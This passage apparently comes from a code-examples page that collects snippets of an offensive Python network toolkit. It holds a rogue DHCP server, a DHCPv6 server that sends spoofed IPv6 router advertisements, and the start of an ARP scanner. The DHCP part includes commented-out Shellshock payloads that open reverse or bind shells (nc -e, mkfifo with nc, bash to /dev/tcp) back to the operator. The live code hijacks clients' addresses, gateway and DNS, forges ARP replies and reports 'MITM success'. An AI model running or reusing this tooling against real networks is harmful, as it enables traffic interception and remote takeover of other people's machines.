                            # try:
                            #     assert args.shellshock_command is not None \
                            #            or args.bind_shell \
                            #            or args.nc_reverse_shell \
                            #            or args.nce_reverse_shell \
                            #            or args.bash_reverse_shell, 'ShellShock not used!'
                            #     # region Create payload
                            #
                            #     # Network settings command in target machine
                            #     net_settings = args.ip_path + 'ip addr add ' + requested_ip + '/' + \
                            #                    str(IPAddress(self._ipv4_network_mask).netmask_bits()) + \
                            #                    ' dev ' + args.iface_name + ';'
                            #
                            #     # Shellshock payload: <user bash command>
                            #     if args.shellshock_command is not None:
                            #         payload = args.shellshock_command
                            #
                            #     # Shellshock payload:
                            #     # awk 'BEGIN{s='/inet/tcp/<bind_port>/0/0';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &
                            #     if args.bind_shell:
                            #         payload = 'awk \'BEGIN{s=\'/inet/tcp/' + str(args.bind_port) + \
                            #                   '/0/0\';for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}\' &'
                            #
                            #     # Shellshock payload:
                            #     # rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_ip> <your_port> >/tmp/f &
                            #     if args.nc_reverse_shell:
                            #         payload = 'rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + \
                            #                   your_ip_address + ' ' + str(args.reverse_port) + ' >/tmp/f &'
                            #
                            #     # Shellshock payload:
                            #     # /bin/nc -e /bin/sh <your_ip> <your_port> 2>&1 &
                            #     if args.nce_reverse_shell:
                            #         payload = '/bin/nc -e /bin/sh ' + your_ip_address + ' ' + str(args.reverse_port) + ' 2>&1 &'
                            #
                            #     # Shellshock payload:
                            #     # /bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1 &
                            #     if args.bash_reverse_shell:
                            #         payload = '/bin/bash -i >& /dev/tcp/' + your_ip_address + \
                            #                   '/' + str(args.reverse_port) + ' 0>&1 &'
                            #
                            #     if payload is not None:
                            #
                            #         # Do not add network settings command in payload
                            #         if not args.without_network:
                            #             payload = net_settings + payload
                            #
                            #         # Send payload to target in clear text
                            #         if args.without_self._base64:
                            #             shellshock_payload = '() { :; }; ' + payload
                            #
                            #         # Send self._base64 encoded payload to target in clear text
                            #         else:
                            #             payload = b64encode(payload)
                            #             shellshock_payload = '() { :; }; /bin/sh <(/usr/bin/self._base64 -d <<< ' + payload + ')'
                            #     # endregion
                            #
                            #     # region Check Shellshock payload length
                            #     if shellshock_payload is not None:
                            #         if len(shellshock_payload) > 255:
                            #             self._base.print_error('Length of shellshock payload is very big! Current length: ',
                            #                              str(len(shellshock_payload)), ' Maximum length: ', '254')
                            #             shellshock_payload = None
                            #     # endregion
                            #
                            # except AssertionError:
                            #     pass
                            # # endregion

                            # region Send DHCP ack and print info message
                            if self._send_broadcast_dhcp_response:
                                ack_packet = self._make_dhcp_ack_packet(
                                    transaction_id=transaction_id,
                                    target_mac=client_mac_address,
                                    target_ip=requested_ip)
                            else:
                                ack_packet = self._make_dhcp_ack_packet(
                                    transaction_id=transaction_id,
                                    target_mac=client_mac_address,
                                    target_ip=requested_ip,
                                    destination_mac=client_mac_address,
                                    destination_ip=requested_ip)

                            if self._apple:
                                self._base.print_info('DHCP ACK to: ',
                                                      client_mac_address,
                                                      ' requested ip: ',
                                                      requested_ip)
                                for _ in range(3):
                                    self._raw_send.send_packet(ack_packet)
                                    sleep(0.2)
                            else:
                                self._raw_send.send_packet(ack_packet)
                                self._base.print_info('DHCP ACK to: ',
                                                      client_mac_address,
                                                      ' requested ip: ',
                                                      requested_ip)
                            # endregion

                            # region Add client info in global self._clients dictionary
                            try:
                                self._clients[client_mac_address].update(
                                    {'mitm': 'success'})
                            except KeyError:
                                self._clients[client_mac_address] = {
                                    'mitm': 'success'
                                }
                            # endregion

                        # endregion

                    # endregion

                # endregion

            # endregion

            # region DHCP DECLINE
            if packet['DHCPv4'][53] == 4:
                # Get requested IP
                requested_ip = '0.0.0.0'
                if 50 in packet['DHCPv4'].keys():
                    requested_ip = str(packet['DHCPv4'][50])

                # Print info message
                self._base.print_info(
                    'DHCP DECLINE from: ',
                    requested_ip + ' (' + client_mac_address + ')',
                    ' transaction id: ', hex(transaction_id))

                # If client IP in free IP addresses list delete this
                if requested_ip in self._free_ip_addresses:
                    self._free_ip_addresses.remove(requested_ip)

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'decline_ip': requested_ip,
                        'decline': True
                    }, client_already_in_dictionary)
                # print self._clients
            # endregion

        # endregion DHCP

        # region ARP
        if 'ARP' in packet.keys():
            if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \
                    packet['ARP']['target-mac'] == '00:00:00:00:00:00':

                # region Set local variables
                arp_sender_mac_address = packet['ARP']['sender-mac']
                arp_sender_ip_address = packet['ARP']['sender-ip']
                arp_target_ip_address = packet['ARP']['target-ip']
                # endregion

                # region Print info message
                self._base.print_info('ARP packet from: ',
                                      arp_sender_mac_address, ' "Who has ',
                                      arp_target_ip_address, ' Tell ',
                                      arp_sender_ip_address, '"')
                # endregion

                # region Get client mitm status
                try:
                    mitm_status = self._clients[arp_sender_mac_address]['mitm']
                except KeyError:
                    mitm_status = ''
                # endregion

                # region Get client requested ip
                try:
                    requested_ip = self._clients[arp_sender_mac_address][
                        'requested_ip']
                except KeyError:
                    requested_ip = ''
                # endregion

                # region Create IPv4 address conflict
                if mitm_status.startswith('error'):
                    arp_reply = self._arp.make_response(
                        ethernet_src_mac=self._your['mac-address'],
                        ethernet_dst_mac=arp_sender_mac_address,
                        sender_mac=self._your['mac-address'],
                        sender_ip=arp_target_ip_address,
                        target_mac=arp_sender_mac_address,
                        target_ip=arp_sender_ip_address)
                    self._raw_send.send_packet(arp_reply)
                    self._base.print_info(
                        'ARP response to: ', arp_sender_mac_address, ' "',
                        arp_target_ip_address + ' is at ' +
                        self._your['mac-address'], '" (IPv4 address conflict)')
                # endregion

                # region MITM success
                if mitm_status.startswith('success'):

                    if arp_target_ip_address == requested_ip:
                        self._clients[arp_sender_mac_address].update(
                            {'client request his ip': True})

                    if arp_target_ip_address == self._router_ipv4_address:
                        self._clients[arp_sender_mac_address].update(
                            {'client request router ip': True})

                    if arp_target_ip_address == self._dns_server_ipv4_address:
                        self._clients[arp_sender_mac_address].update(
                            {'client request dns ip': True})

                    try:
                        assert self._clients[arp_sender_mac_address][
                            'client request his ip']
                        assert self._clients[arp_sender_mac_address][
                            'client request router ip']
                        assert self._clients[arp_sender_mac_address][
                            'client request dns ip']

                        assert 'success message' not in self._clients[
                            arp_sender_mac_address].keys()
                        self._base.print_success(
                            'MITM success: ',
                            requested_ip + ' (' + arp_sender_mac_address + ')')
                        if self._exit_on_success:
                            sleep(3)
                            exit(0)
                        else:
                            self._clients[arp_sender_mac_address].update(
                                {'success message': True})

                    except KeyError:
                        pass

                    except AssertionError:
                        pass
Exemple #7
0
class DHCPv6Server:

    # region Set properties
    _base: Base = Base()
    _utils: Utils = Utils()
    _sniff: RawSniff = RawSniff()
    _eth: RawEthernet = RawEthernet()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _dhcpv6: RawDHCPv6 = RawDHCPv6()
    _thread_manager: ThreadManager = ThreadManager(10)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv6-link-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'mac-address': None,
        'ipv6-address': None
    }
    _clients: Dict[str, Dict[str, Union[bool, str]]] = dict()

    _ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64'
    _ipv6_prefix_address: str = 'fde4:8dba:82e1:ffff::'

    _first_ipv6_address_suffix: int = 2
    _last_ipv6_address_suffix: int = 65534

    _domain_search: str = 'domain.local'

    _solicit_packets_delay: float = 1

    _disable_dhcpv6: bool = False
    _exit_on_success: bool = False
    _quiet: bool = True

    # endregion

    # region Init
    def __init__(self, network_interface: str):
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=['mac-address', 'ipv6-link-address'])
        self._dns_server_ipv6_address: str = self._your['ipv6-link-address']
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Start DHCPv6 Server
    def start(self,
              target_mac_address: Union[None, str] = None,
              target_ipv6_address: Union[None, str] = None,
              first_ipv6_address_suffix: int = 2,
              last_ipv6_address_suffix: int = 65534,
              dns_server_ipv6_address: Union[None, str] = None,
              ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64',
              domain_search: str = 'domain.local',
              disable_dhcpv6: bool = False,
              exit_on_success: bool = False,
              quiet: bool = False) -> None:

        # region Set variables
        self._ipv6_prefix: str = ipv6_prefix
        self._ipv6_prefix_address: str = self._ipv6_prefix.split('/')[0]
        self._disable_dhcpv6 = disable_dhcpv6
        self._domain_search = domain_search
        self._exit_on_success = exit_on_success
        self._quiet = quiet
        # endregion

        # region Set target MAC and IPv6 address, if target IP is not set - get first and last suffix IPv6 address

        # region Set target IPv6 address
        if target_mac_address is not None:
            self._target['mac-address'] = \
                self._utils.check_mac_address(mac_address=target_mac_address,
                                              parameter_name='target MAC address')
        # endregion

        # region Target IPv6 is set
        if target_ipv6_address is not None:
            assert target_mac_address is not None, \
                'Please set target MAC address for target IPv6 address: ' + \
                self._base.info_text(str(target_ipv6_address))
            self._target['ipv6-address'] = \
                self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                               ipv6_address=target_ipv6_address,
                                               is_local_ipv6_address=False,
                                               parameter_name='target IPv6 address')
            self._clients[self._target['mac-address']] = {
                'advertise address': self._target['ipv6-address']
            }
        # endregion

        # region Target IPv6 is not set - get first and last suffix IPv6 address
        else:
            # Check first suffix IPv6 address
            self._first_ipv6_address_suffix = \
                self._utils.check_value_in_range(value=first_ipv6_address_suffix,
                                                 first_value=1,
                                                 last_value=65535,
                                                 parameter_name='first IPv6 address suffix')

            # Check last suffix IPv6 address
            self._last_ipv6_address_suffix = \
                self._utils.check_value_in_range(value=last_ipv6_address_suffix,
                                                 first_value=self._first_ipv6_address_suffix,
                                                 last_value=65535,
                                                 parameter_name='last IPv6 address suffix')
        # endregion

        # endregion

        # region Set recursive DNS server address
        if dns_server_ipv6_address is not None:
            self._dns_server_ipv6_address = \
                self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                               ipv6_address=dns_server_ipv6_address,
                                               is_local_ipv6_address=False,
                                               parameter_name='DNS server IPv6 address',
                                               check_your_ipv6_address=False)
        # endregion

        # region General output
        if not self._quiet:
            self._base.print_info('Network interface: ',
                                  self._your['network-interface'])
            self._base.print_info('Your MAC address: ',
                                  self._your['mac-address'])
            self._base.print_info('Your link local IPv6 address: ',
                                  self._your['ipv6-link-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC address: ',
                                      self._target['mac-address'])
            if self._target['ipv6-address'] is not None:
                self._base.print_info('Target IPv6 address: ',
                                      self._target['ipv6-address'])
            else:
                self._base.print_info('First suffix offer IP: ',
                                      str(self._first_ipv6_address_suffix))
                self._base.print_info('Last suffix offer IP: ',
                                      str(self._last_ipv6_address_suffix))

            self._base.print_info('Prefix: ', self._ipv6_prefix)
            self._base.print_info('Router IPv6 address: ',
                                  self._your['ipv6-link-address'])
            self._base.print_info('DNS IPv6 address: ',
                                  self._dns_server_ipv6_address)
            self._base.print_info('Domain search: ', self._domain_search)
        # endregion

        # region Send ICMPv6 advertise packets in other thread
        self._thread_manager.add_task(self._send_icmpv6_advertise_packets)
        # endregion

        # region Add multicast MAC addresses on interface
        self._add_multicast_mac_addresses()
        # endregion

        # region Start Sniffer

        # region Print info message
        self._base.print_info('Waiting for a ICMPv6 or DHCPv6 requests ...')
        # endregion

        # region Set sniff filters
        sniff_filters: Dict = {
            'Ethernet': {
                'not-source': self._your['mac-address']
            },
            'UDP': {
                'destination-port': 547,
                'source-port': 546
            },
            'ICMPv6': {
                'types': [133, 135]
            }
        }
        scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address']

        if self._target['mac-address'] is not None:
            sniff_filters['Ethernet'] = {'source': self._target['mac-address']}
            scapy_lfilter: Any = lambda eth: eth.src == self._target[
                'mac-address']
        # endregion

        # region Start sniffer
        self._sniff.start(protocols=['IPv6', 'UDP', 'ICMPv6', 'DHCPv6'],
                          prn=self._reply,
                          filters=sniff_filters,
                          network_interface=self._your['network-interface'],
                          scapy_filter='icmp6 or (udp and (port 547 or 546))',
                          scapy_lfilter=scapy_lfilter)
        # endregion

        # endregion

    # endregion

    # region Add multicast MAC addresses on interface
    def _add_multicast_mac_addresses(self):
        self._base.add_multicast_mac_address(
            interface_name=self._your['network-interface'],
            multicast_mac_address='33:33:00:00:00:02',
            exit_on_failure=False,
            quiet=self._quiet)
        self._base.add_multicast_mac_address(
            interface_name=self._your['network-interface'],
            multicast_mac_address='33:33:00:01:00:02',
            exit_on_failure=False,
            quiet=self._quiet)

    # endregion

    # region Add client info in global self._clients dictionary
    def _add_client_info_in_dictionary(
            self,
            client_mac_address: str,
            client_info: Dict[str, Union[bool, str]],
            this_client_already_in_dictionary: bool = False):
        if this_client_already_in_dictionary:
            self._clients[client_mac_address].update(client_info)
        else:
            self._clients[client_mac_address] = client_info

    # endregion

    # region Send ICMPv6 solicit packets
    def _send_icmpv6_solicit_packets(self):
        try:
            while True:
                icmpv6_solicit_packet = \
                    self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                            ipv6_src=self._your['ipv6-link-address'],
                                                            need_source_link_layer_address=True,
                                                            source_link_layer_address=self._eth.make_random_mac())
                self._raw_send.send_packet(icmpv6_solicit_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

    # endregion

    # region Send DHCPv6 solicit packets
    def _send_dhcpv6_solicit_packets(self):
        try:
            while True:
                request_options = [23, 24]
                dhcpv6_solicit_packet = \
                    self._dhcpv6.make_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                     ipv6_src=self._your['ipv6-link-address'],
                                                     transaction_id=randint(1, 16777215),
                                                     client_mac_address=self._eth.make_random_mac(),
                                                     option_request_list=request_options)
                self._raw_send.send_packet(dhcpv6_solicit_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit ....')
            exit(0)

    # endregion

    # region Send ICMPv6 advertise packets
    def _send_icmpv6_advertise_packets(self):
        icmpv6_ra_packet = \
            self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                          ethernet_dst_mac='33:33:00:00:00:01',
                                                          ipv6_src=self._your['ipv6-link-address'],
                                                          ipv6_dst='ff02::1',
                                                          dns_address=self._dns_server_ipv6_address,
                                                          domain_search=self._domain_search,
                                                          prefix=self._ipv6_prefix,
                                                          router_lifetime=5000,
                                                          advertisement_interval=
                                                          int(self._solicit_packets_delay * 1000))
        try:
            while True:
                self._raw_send.send_packet(icmpv6_ra_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

    # endregion

    # region Reply to DHCPv6 and ICMPv6 requests
    def _reply(self, packet):

        # region Get client MAC address
        client_mac_address: str = packet['Ethernet']['source']
        # endregion

        # region Check this client already in self._clients dictionary
        client_already_in_dictionary: bool = False
        if client_mac_address in self._clients.keys():
            client_already_in_dictionary = True
        # endregion

        # region Check MiTM status for this client
        self._check_mitm_status(client_mac_address=client_mac_address)
        # endregion

        # region ICMPv6
        if 'ICMPv6' in packet.keys():

            # region ICMPv6 Router Solicitation
            if packet['ICMPv6']['type'] == 133:

                # Make and send ICMPv6 router advertisement packet
                icmpv6_ra_packet = \
                    self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                  ethernet_dst_mac=packet['Ethernet']['source'],
                                                                  ipv6_src=self._your['ipv6-link-address'],
                                                                  ipv6_dst=packet['IPv6']['source-ip'],
                                                                  dns_address=self._dns_server_ipv6_address,
                                                                  domain_search=self._domain_search,
                                                                  prefix=self._ipv6_prefix,
                                                                  router_lifetime=5000)
                self._raw_send.send_packet(icmpv6_ra_packet)

                # Print info messages
                self._base.print_info(
                    'ICMPv6 Router Solicitation request from: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')')
                self._base.print_info(
                    'ICMPv6 Router Advertisement reply to: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')')

                # Delete this client from global self._clients dictionary
                try:
                    del self._clients[client_mac_address]
                    client_already_in_dictionary = False
                except KeyError:
                    pass

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'router solicitation': True,
                        'network prefix': self._ipv6_prefix
                    }, client_already_in_dictionary)
            # endregion

            # region ICMPv6 Neighbor Solicitation
            if packet['ICMPv6']['type'] == 135:

                # region Get ICMPv6 Neighbor Solicitation target address
                target_address: str = packet['ICMPv6']['target-address']
                na_packet: Union[None, bytes] = None
                if target_address.startswith('fe80::'):
                    if target_address == self._your['ipv6-link-address']:
                        self._add_client_info_in_dictionary(
                            client_mac_address,
                            {'neighbor solicitation your address': True},
                            client_already_in_dictionary)
                else:
                    na_packet = \
                        self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                        ipv6_src=self._your['ipv6-link-address'],
                                                                        target_ipv6_address=target_address)
                # endregion

                # region Neighbor Solicitation target address is DNS server IPv6 address
                if self._dns_server_ipv6_address != self._your[
                        'ipv6-link-address']:
                    if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
                            self._dns_server_ipv6_address.startswith('fe80::'):
                        if target_address == self._dns_server_ipv6_address:
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'neighbor solicitation dns server address':
                                    True
                                }, client_already_in_dictionary)
                # endregion

                # region Neighbor Solicitation target address not in your ipv6 prefix
                if not target_address.startswith(
                        self._ipv6_prefix_address) and na_packet is not None:
                    for _ in range(10):
                        self._raw_send.send_packet(na_packet)
                # endregion

                # region Neighbor Solicitation target address in your ipv6 prefix
                else:
                    self._add_client_info_in_dictionary(
                        client_mac_address,
                        {'neighbor solicitation in ipv6 prefix': True},
                        client_already_in_dictionary)
                # endregion

                # region DHCPv6 advertise address is set

                # This client already in dictionary
                if client_already_in_dictionary:

                    # Advertise address for this client is set
                    if 'advertise address' in self._clients[
                            client_mac_address].keys():

                        # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address
                        if target_address == self._clients[client_mac_address][
                                'advertise address']:

                            # Add client info in global self._clients dictionary
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'neighbor solicitation advertise address':
                                    True
                                }, client_already_in_dictionary)

                        # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address
                        elif na_packet is not None:
                            for _ in range(10):
                                self._raw_send.send_packet(na_packet)
                # endregion

            # endregion

        # endregion

        # region DHCPv6

        # Protocol DHCPv6 is enabled
        if not self._disable_dhcpv6 and 'DHCPv6' in packet.keys():

            # region Get Client identifier and Identity Association for Non-temporary Address
            cid: Union[None, bytes] = None
            iaid: Union[None, int] = None

            for option in packet['DHCPv6']['options']:
                if option['type'] == 1:
                    cid = option['value']['raw']
                elif option['type'] == 3:
                    iaid = option['value']['iaid']

            if cid is None or iaid is None:
                self._base.print_info(
                    'Malformed DHCPv6 packet from: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))
                return
            # endregion

            # region DHCPv6 Solicit
            if packet['DHCPv6']['message-type'] == 1:

                # Set IPv6 address in advertise packet
                try:
                    ipv6_address = self._clients[client_mac_address][
                        'advertise address']
                except KeyError:
                    if self._target['ipv6-address'] is not None:
                        ipv6_address = self._target['ipv6-address']
                    else:
                        ipv6_address = self._ipv6_prefix_address + \
                                       format(randint(self._first_ipv6_address_suffix,
                                                      self._last_ipv6_address_suffix), 'x')

                # Make and send DHCPv6 advertise packet
                dhcpv6_advertise = \
                    self._dhcpv6.make_advertise_packet(ethernet_src_mac=self._your['mac-address'],
                                                       ethernet_dst_mac=packet['Ethernet']['source'],
                                                       ipv6_src=self._your['ipv6-link-address'],
                                                       ipv6_dst=packet['IPv6']['source-ip'],
                                                       transaction_id=packet['DHCPv6']['transaction-id'],
                                                       dns_address=self._dns_server_ipv6_address,
                                                       domain_search=self._domain_search,
                                                       ipv6_address=ipv6_address,
                                                       cid=cid, iaid=iaid, preference=255)
                self._raw_send.send_packet(dhcpv6_advertise)

                # Print info messages
                self._base.print_info(
                    'DHCPv6 Solicit from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))
                self._base.print_info(
                    'DHCPv6 Advertise to: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    ipv6_address)

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'dhcpv6 solicit': True,
                        'advertise address': ipv6_address
                    }, client_already_in_dictionary)
            # endregion

            # region DHCPv6 Request
            if packet['DHCPv6']['message-type'] == 3:

                # Set DHCPv6 reply packet
                dhcpv6_reply: Union[None, bytes] = None

                # region Get Client DUID time, IPv6 address and Server MAC address
                client_ipv6_address: Union[None, str] = None
                server_mac_address: Union[None, str] = None

                for dhcpv6_option in packet['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 2:
                        server_mac_address = dhcpv6_option['value'][
                            'mac-address']
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                if server_mac_address is not None and client_ipv6_address is not None:

                    # Check Server MAC address
                    if server_mac_address != self._your['mac-address']:
                        self._add_client_info_in_dictionary(
                            client_mac_address, {
                                'dhcpv6 mitm':
                                'error: server mac address is not your mac address'
                            }, client_already_in_dictionary)
                    else:
                        self._add_client_info_in_dictionary(
                            client_mac_address, {'dhcpv6 mitm': 'success'},
                            client_already_in_dictionary)
                        try:
                            if client_ipv6_address == self._clients[
                                    client_mac_address]['advertise address']:
                                dhcpv6_reply = \
                                    self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
                                                                   ethernet_dst_mac=packet['Ethernet']['source'],
                                                                   ipv6_src=self._your['ipv6-link-address'],
                                                                   ipv6_dst=packet['IPv6']['source-ip'],
                                                                   transaction_id=packet['DHCPv6']['transaction-id'],
                                                                   dns_address=self._dns_server_ipv6_address,
                                                                   domain_search=self._domain_search,
                                                                   ipv6_address=client_ipv6_address,
                                                                   cid=cid)
                                self._raw_send.send_packet(dhcpv6_reply)
                            else:
                                self._add_client_info_in_dictionary(
                                    client_mac_address, {
                                        'dhcpv6 mitm':
                                        'error: client request address is not advertise address'
                                    }, client_already_in_dictionary)

                        except KeyError:
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'dhcpv6 mitm':
                                    'error: not found dhcpv6 solicit request for this client'
                                }, client_already_in_dictionary)

                    # Print info messages
                    self._base.print_info(
                        'DHCPv6 Request from: ', packet['IPv6']['source-ip'] +
                        ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                        hex(packet['DHCPv6']['transaction-id']), ' Server: ',
                        server_mac_address, ' IAA: ', client_ipv6_address)

                    if dhcpv6_reply is not None:
                        self._base.print_info(
                            'DHCPv6 Reply to:     ',
                            packet['IPv6']['source-ip'] + ' (' +
                            packet['Ethernet']['source'] + ')', ' XID: ',
                            hex(packet['DHCPv6']['transaction-id']),
                            ' Server: ', server_mac_address, ' IAA: ',
                            client_ipv6_address)
                    else:
                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: server mac address is not your mac address':
                            self._base.print_error(
                                'Server MAC address in DHCPv6 Request is not your MAC address '
                                + 'for this client: ', client_mac_address)

                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: client request address is not advertise address':
                            self._base.print_error(
                                'Client requested IPv6 address is not advertise IPv6 address '
                                + 'for this client: ', client_mac_address)

                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: not found dhcpv6 solicit request for this client':
                            self._base.print_error(
                                'Could not found DHCPv6 solicit request ' +
                                'for this client: ', client_mac_address)

            # endregion

            # region DHCPv6 Release
            if packet['DHCPv6']['message-type'] == 8:
                # Print info message
                self._base.print_info(
                    'DHCPv6 Release from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))

                # Delete this client from global self._clients dictionary
                try:
                    del self._clients[client_mac_address]
                    client_already_in_dictionary = False
                except KeyError:
                    pass
            # endregion

            # region DHCPv6 Confirm
            if packet['DHCPv6']['message-type'] == 4:

                # region Get Client IPv6 address
                client_ipv6_address: Union[None, str] = None

                for dhcpv6_option in packet['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                # region Make and send DHCPv6 Reply packet
                dhcpv6_reply = \
                    self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
                                                   ethernet_dst_mac=packet['Ethernet']['source'],
                                                   ipv6_src=self._your['ipv6-link-address'],
                                                   ipv6_dst=packet['IPv6']['source-ip'],
                                                   transaction_id=packet['DHCPv6']['transaction-id'],
                                                   dns_address=self._dns_server_ipv6_address,
                                                   domain_search=self._domain_search,
                                                   ipv6_address=client_ipv6_address,
                                                   cid=cid)
                self._raw_send.send_packet(dhcpv6_reply)
                # endregion

                # region Add Client info in global self._clients dictionary and print info message
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'advertise address': client_ipv6_address,
                        'dhcpv6 mitm': 'success'
                    }, client_already_in_dictionary)

                self._base.print_info(
                    'DHCPv6 Confirm from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    client_ipv6_address)
                self._base.print_info(
                    'DHCPv6 Reply to:     ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    client_ipv6_address)
                # endregion

            # endregion

        # endregion

    # endregion

    # region Check MiTM Success
    def _check_mitm_status(self, client_mac_address: str):
        try:
            if not self._disable_dhcpv6:
                assert self._clients[client_mac_address][
                    'dhcpv6 mitm'] == 'success'
                # assert self._clients[client_mac_address]['neighbor solicitation advertise address']

            else:
                if self._dns_server_ipv6_address != self._your[
                        'ipv6-link-address']:
                    if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
                            self._dns_server_ipv6_address.startswith('fe80::'):
                        assert self._clients[client_mac_address][
                            'neighbor solicitation dns server address']

                assert self._clients[client_mac_address][
                    'neighbor solicitation your address']
                assert self._clients[client_mac_address][
                    'neighbor solicitation in ipv6 prefix']

            assert 'success message' not in self._clients[
                client_mac_address].keys()
            self._base.print_success(
                'MITM success: ',
                self._clients[client_mac_address]['advertise address'] + ' (' +
                client_mac_address + ')')
            if self._exit_on_success:
                sleep(3)
                exit(0)
            else:
                self._clients[client_mac_address].update(
                    {'success message': True})
            return True

        except KeyError:
            return False

        except AssertionError:
            return False
Exemple #8
0
class ArpScan:

    # region Variables
    _base: Base = Base()
    _arp: RawARP = RawARP()
    _raw_sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None}
    _target: Dict[str, Union[None, str]] = {'ipv4-address': None, 'mac-address': None}

    _results: List[Dict[str, str]] = list()
    _mac_addresses: List[str] = list()
    _unique_results: List[Dict[str, str]] = list()
    _sorted_results: List[Dict[str, str]] = list()

    _retry_number: int = 5
    _timeout: int = 5
    _quit: bool = False
    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(interface_name=network_interface,
                                                       required_parameters=['mac-address',
                                                                            'ipv4-address',
                                                                            'first-ipv4-address',
                                                                            'last-ipv4-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Scanner
    def scan(self, timeout: int = 5, retry: int = 5,
             target_ip_address: Union[None, str] = None,
             check_vendor: bool = True,
             exclude_ip_addresses: Union[None, List[str]] = None,
             exit_on_failure: bool = True,
             show_scan_percentage: bool = True) -> List[Dict[str, str]]:
        """
        ARP scan on network interface
        :param timeout: Timeout in seconds (default: 5)
        :param retry: Retry number (default: 5)
        :param target_ip_address: Target IPv4 address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2'])
        :param exit_on_failure: Exit if alive hosts in network not found (default: True)
        :param show_scan_percentage: Show ARP scan progress percentage (default: True)
        :return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a',
                                                        'ip-address': '192.168.0.1',
                                                        'vendor': 'Raspberry Pi Foundation'}])
        """
        try:
            # region Clear lists with scan results
            self._results.clear()
            self._unique_results.clear()
            self._sorted_results.clear()
            self._mac_addresses.clear()
            # endregion

            # region Set variables
            self._quit = not show_scan_percentage
            self._target['ipv4-address'] = self._check_target_ip_address(target_ip_address)
            self._timeout = int(timeout)
            self._retry_number = int(retry)
            # endregion

            # region Run _sniffer
            self._thread_manager.add_task(self._sniff)
            # endregion

            # region Run sender
            self._send()
            # endregion

